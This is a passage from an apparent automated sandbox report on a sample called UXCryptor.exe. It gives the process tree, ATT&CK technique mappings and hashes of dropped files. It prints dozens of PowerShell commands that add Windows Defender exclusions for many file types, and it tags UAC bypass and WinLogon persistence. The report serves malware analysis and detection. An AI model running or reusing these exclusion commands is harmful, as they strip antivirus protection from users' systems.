  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  PID:20356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  PID:20364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20372
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:20380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:20388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  PID:20396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:20404
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  PID:20420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20428
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:20436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  PID:20444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20452
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  PID:20468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:15616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  PID:20488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:20504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:20512
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  PID:20520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:20528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  PID:20536
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  PID:20544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  PID:20552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  PID:20560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:20568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  PID:20576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:20592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:20600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  PID:20608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
  PID:20616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:20624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  PID:20632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:20640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:20648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:20656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:20664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:20688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:20696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:20704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20720
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4180 -s 6804
  2⤵
  - Program crash
  PID:13512

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" -startup
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- System policy modification
PID:4392
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 1428
  2⤵
  - Program crash
  PID:18792

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- System policy modification
PID:4556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1108 -p 4524 -ip 4524
1⤵
PID:10440

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 688 -p 15476 -ip 15476
1⤵
PID:2700

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 716 -p 20816 -ip 20816
1⤵
PID:8688

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 596 -p 16760 -ip 16760
1⤵
PID:9744

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 816 -p 17272 -ip 17272
1⤵
PID:816

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 836 -p 16840 -ip 16840
1⤵
PID:3240

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 804 -p 16324 -ip 16324
1⤵
PID:3992

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 596 -p 16340 -ip 16340
1⤵
PID:9448

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 12300 -s 440
1⤵
PID:5204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:19680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1088 -p 4392 -ip 4392
1⤵
PID:8852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1092 -p 4180 -ip 4180
1⤵
PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1196 -p 3316 -ip 3316
1⤵
PID:8388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 1644 -ip 1644
1⤵
PID:10744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1068 -p 11120 -ip 11120
1⤵
PID:9804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 1624 -ip 1624
1⤵
PID:20048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 9496 -ip 9496
1⤵
PID:19964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1040 -p 9704 -ip 9704
1⤵
PID:2464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1532 -p 5180 -ip 5180
1⤵
PID:14096

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:15296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1000 -p 17848 -ip 17848
1⤵
PID:11840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 2004 -ip 2004
1⤵
PID:15064

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:2804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1004 -p 2780 -ip 2780
1⤵
PID:7576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 9584 -ip 9584
1⤵
PID:15156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 9480 -ip 9480
1⤵
PID:5756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 1036 -p 4524 -ip 4524
1⤵
PID:2580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 252B
SHA256 020746b781473565af29617119c2cf39c65febd31167d1e457c4aa51b763c1b9
MD5 6d0df85725525ba61cb74bdc8d58436e
SHA1 d1ba75b66a03c8f714e0fc5281111eaf51f83f16
SHA512 fdca3ba71bd5d6a76cb027fa4cba8aaedfb956f3b7b3d78173af0091848af978ee4ab649371fde6bf94b908ee67405a213bf6609ced57a1845f8c5e456088be1
TLSH
T1A1D0A721715054DC4A868706223C66EAE3FF87879FD84F687019424CC82504BD3171F7
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 55921ea44b9eb070317f75bc5a5ebe31e362facd27d04afb91e444150d2a8019
MD5 455e728e8fd39042b5810a0268a25091
SHA1 5d3b341a536ec5ef6f4f918531b1f20e2b9a1607
SHA512 2f96cb47ab45f712c422561611f2b8923b642a83318ab6b21c20088b5655102aa23d87c40cb5106b11597962bc711680338394918dab6c6c1173452346947679
SSDEEP 1536:oUsmNhfkR+jH08Mhch4iUxfhtQflJdFsESYoeUpua5EqV3CNBQkj2iciNYJtAHkp:oUsmNhfkR+jH08MhcqiUfhWflJdFsESv
TLSH
T1A8435193E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 07fe98f05de6b10c1d5642935ec1d191f68452c97ae2ffa1b868bb800b27bc30
MD5 9adffa0673157b62affbbc0690ee3371
SHA1 a0ad896c71f8e813ac45d8b59adce626af5fa4e1
SHA512 8c605477e952785e17cef66ab90f2d94fb167d832e7f2e59b85e480700f31d4caf69427a3fb80838f46ec2e4287b589777caa3e75fda1a07c92037fcd347622a
SSDEEP 1536:9UsmNhfkR+jH08Mhch4iUxfhtQflJdFsESYoeUpua5EqV3CNBQkj2iciNYJtAHkp:9UsmNhfkR+jH08MhcqiUfhWflJdFsESv
TLSH
T170435193E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 6482c0e2faeb6abfe47174b68203db8241a3a48b0d7f5116b4c7f2d3f5a5c68f
MD5 13ff9cd12807c1f466f2599c70285438
SHA1 97939c20a0750f5175f69595936510bd24f879f8
SHA512 763523301fe1d1972f79aeb77df6cbd24b7e28b571efd95ed6c25b4c12e4213ac9f407d78a65ca778b0f73db44927baa705ed4f538b636a051a2dc195e9c8b00
SSDEEP 1536:QUsmNhfkR+jH08Mhch4iUxfhtQflJdFsESYoeUpua5EqV3CNBQkj2iciNYJtAHkp:QUsmNhfkR+jH08MhcqiUfhWflJdFsESv
TLSH
T1DC435193E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download